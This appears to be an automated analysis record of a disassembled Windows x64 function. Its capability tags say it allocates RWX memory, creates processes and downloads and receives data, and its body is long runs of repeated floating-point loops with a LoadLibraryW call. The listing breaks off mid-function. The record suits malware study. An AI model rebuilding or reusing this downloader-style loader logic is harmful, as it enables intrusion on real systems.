Function at 0x140008fa0
Capabilities:
Allocate or change rwx memory
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x6bf0
call fcn.140057630
sub rsp, rax
xor ecx, ecx
call fcn.140054b80
mov ecx, eax
call fcn.14005e948
mov edx, 0x64
lea rcx, [rsp + 0x6728]
call fcn.140052870
nop
lea rdx, [rsp + 0x6728]
lea rcx, [rsp + 0x58]
call fcn.140054270
nop
xorps xmm0, xmm0
movsd qword [rsp + 0x50], xmm0
mov qword [rsp + 0x88], 0
jmp 0x14000901b
mov rax, qword [rsp + 0x88]
inc rax
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x88], rax
jae 0x1400090a6
mov rdx, qword [rsp + 0x88]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x6720], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x88]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x6720]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009008
mov qword [rsp + 0x90], 0
jmp 0x1400090c7
mov rax, qword [rsp + 0x90]
inc rax
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x90], rax
jae 0x140009152
mov rdx, qword [rsp + 0x90]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x33e0], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x90]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x33e0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400090b4
mov qword [rsp + 0x98], 0
jmp 0x140009173
mov rax, qword [rsp + 0x98]
inc rax
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x98], rax
jae 0x1400091fe
mov rdx, qword [rsp + 0x98]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x33e8], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x98]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x33e8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009160
mov qword [rsp + 0xa0], 0
jmp 0x14000921f
mov rax, qword [rsp + 0xa0]
inc rax
mov qword [rsp + 0xa0], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0xa0], rax
jae 0x1400092aa
mov rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x33f0], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0xa0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x33f0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000920c
mov qword [rsp + 0xa8], 0
jmp 0x1400092cb
mov rax, qword [rsp + 0xa8]
inc rax
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0xa8], rax
jae 0x140009356
mov rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x33f8], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0xa8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x33f8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400092b8
mov qword [rsp + 0xb0], 0
jmp 0x140009377
mov rax, qword [rsp + 0xb0]
inc rax
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0xb0], rax
jae 0x140009402
mov rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3400], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0xb0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3400]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009364
mov qword [rsp + 0xb8], 0
jmp 0x140009423
mov rax, qword [rsp + 0xb8]
inc rax
mov qword [rsp + 0xb8], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0xb8], rax
jae 0x1400094ae
mov rdx, qword [rsp + 0xb8]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3408], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0xb8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3408]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009410
mov qword [rsp + 0xc0], 0
jmp 0x1400094cf
mov rax, qword [rsp + 0xc0]
inc rax
mov qword [rsp + 0xc0], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0xc0], rax
jae 0x14000955a
mov rdx, qword [rsp + 0xc0]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3410], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0xc0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3410]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400094bc
mov qword [rsp + 0xc8], 0
jmp 0x14000957b
mov rax, qword [rsp + 0xc8]
inc rax
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0xc8], rax
jae 0x140009606
mov rdx, qword [rsp + 0xc8]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3418], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0xc8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3418]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009568
mov qword [rsp + 0xd0], 0
jmp 0x140009627
mov rax, qword [rsp + 0xd0]
inc rax
mov qword [rsp + 0xd0], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0xd0], rax
jae 0x1400096b2
mov rdx, qword [rsp + 0xd0]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3420], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0xd0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3420]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009614
lea rcx, [rsp + 0x78]
call fcn.140007f60
mov rcx, rax
call fcn.140007eb0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x33d0], rax
mov qword [rsp + 0xd8], 0
jmp 0x1400096f6
mov rax, qword [rsp + 0xd8]
inc rax
mov qword [rsp + 0xd8], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0xd8], rax
jae 0x140009781
mov rdx, qword [rsp + 0xd8]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3428], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0xd8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3428]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400096e3
mov qword [rsp + 0xe0], 0
jmp 0x1400097a2
mov rax, qword [rsp + 0xe0]
inc rax
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0xe0], rax
jae 0x14000982d
mov rdx, qword [rsp + 0xe0]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3430], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0xe0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3430]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000978f
mov qword [rsp + 0xe8], 0
jmp 0x14000984e
mov rax, qword [rsp + 0xe8]
inc rax
mov qword [rsp + 0xe8], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0xe8], rax
jae 0x1400098d9
mov rdx, qword [rsp + 0xe8]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3438], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0xe8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3438]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000983b
mov qword [rsp + 0xf0], 0
jmp 0x1400098fa
mov rax, qword [rsp + 0xf0]
inc rax
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0xf0], rax
jae 0x140009985
mov rdx, qword [rsp + 0xf0]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3440], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0xf0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3440]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400098e7
mov qword [rsp + 0xf8], 0
jmp 0x1400099a6
mov rax, qword [rsp + 0xf8]
inc rax
mov qword [rsp + 0xf8], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0xf8], rax
jae 0x140009a31
mov rdx, qword [rsp + 0xf8]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3448], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0xf8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3448]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009993
mov qword [rsp + 0x100], 0
jmp 0x140009a52
mov rax, qword [rsp + 0x100]
inc rax
mov qword [rsp + 0x100], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x100], rax
jae 0x140009add
mov rdx, qword [rsp + 0x100]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3450], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x100]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3450]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009a3f
mov qword [rsp + 0x108], 0
jmp 0x140009afe
mov rax, qword [rsp + 0x108]
inc rax
mov qword [rsp + 0x108], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x108], rax
jae 0x140009b89
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3458], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x108]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3458]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009aeb
mov qword [rsp + 0x110], 0
jmp 0x140009baa
mov rax, qword [rsp + 0x110]
inc rax
mov qword [rsp + 0x110], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x110], rax
jae 0x140009c35
mov rdx, qword [rsp + 0x110]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3460], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x110]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3460]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009b97
mov qword [rsp + 0x118], 0
jmp 0x140009c56
mov rax, qword [rsp + 0x118]
inc rax
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x118], rax
jae 0x140009ce1
mov rdx, qword [rsp + 0x118]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3468], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x118]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3468]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009c43
mov qword [rsp + 0x120], 0
jmp 0x140009d02
mov rax, qword [rsp + 0x120]
inc rax
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x120], rax
jae 0x140009d8d
mov rdx, qword [rsp + 0x120]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3470], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x120]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3470]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009cef
cmp qword [rsp + 0x33d0], 0
je 0x14004df5b
mov qword [rsp + 0x128], 0
jmp 0x140009dbd
mov rax, qword [rsp + 0x128]
inc rax
mov qword [rsp + 0x128], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x128], rax
jae 0x140009e48
mov rdx, qword [rsp + 0x128]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3478], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x128]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3478]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009daa
mov qword [rsp + 0x130], 0
jmp 0x140009e69
mov rax, qword [rsp + 0x130]
inc rax
mov qword [rsp + 0x130], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x130], rax
jae 0x140009ef4
mov rdx, qword [rsp + 0x130]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3480], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x130]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3480]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009e56
mov qword [rsp + 0x138], 0
jmp 0x140009f15
mov rax, qword [rsp + 0x138]
inc rax
mov qword [rsp + 0x138], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x138], rax
jae 0x140009fa0
mov rdx, qword [rsp + 0x138]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3488], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x138]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3488]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009f02
mov qword [rsp + 0x140], 0
jmp 0x140009fc1
mov rax, qword [rsp + 0x140]
inc rax
mov qword [rsp + 0x140], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x140], rax
jae 0x14000a04c
mov rdx, qword [rsp + 0x140]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3490], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x140]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3490]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140009fae
mov qword [rsp + 0x148], 0
jmp 0x14000a06d
mov rax, qword [rsp + 0x148]
inc rax
mov qword [rsp + 0x148], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x148], rax
jae 0x14000a0f8
mov rdx, qword [rsp + 0x148]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3498], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x148]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3498]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000a05a
mov qword [rsp + 0x150], 0
jmp 0x14000a119
mov rax, qword [rsp + 0x150]
inc rax
mov qword [rsp + 0x150], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x150], rax
jae 0x14000a1a4
mov rdx, qword [rsp + 0x150]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x34a0], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x150]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x34a0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000a106
mov qword [rsp + 0x158], 0
jmp 0x14000a1c5
mov rax, qword [rsp + 0x158]
inc rax
mov qword [rsp + 0x158], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x158], rax
jae 0x14000a250
mov rdx, qword [rsp + 0x158]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x34a8], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x158]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x34a8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000a1b2
mov qword [rsp + 0x160], 0
jmp 0x14000a271
mov rax, qword [rsp + 0x160]
inc rax
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x160], rax
jae 0x14000a2fc
mov rdx, qword [rsp + 0x160]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x34b0], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x160]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x34b0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000a25e
mov qword [rsp + 0x168], 0
jmp 0x14000a31d
mov rax, qword [rsp + 0x168]
inc rax
mov qword [rsp + 0x168], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x168], rax
jae 0x14000a3a8
mov rdx, qword [rsp + 0x168]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x34b8], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x168]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x34b8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000a30a
mov qword [rsp + 0x170], 0
jmp 0x14000a3c9
mov rax, qword [rsp + 0x170]
inc rax
mov qword [rsp + 0x170], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x170], rax
jae 0x14000a454
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x34c0], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x170]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x34c0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000a3b6
mov qword [rsp + 0x178], 0
jmp 0x14000a475
mov rax, qword [rsp + 0x178]
inc rax
mov qword [rsp + 0x178], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x178], rax
jae 0x14000a500
mov rdx, qword [rsp + 0x178]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x34c8], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x178]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x34c8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000a462
mov qword [rsp + 0x180], 0
jmp 0x14000a521
mov rax, qword [rsp + 0x180]
inc rax
mov qword [rsp + 0x180], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x180], rax
jae 0x14000a5ac
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x34d0], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x180]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x34d0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
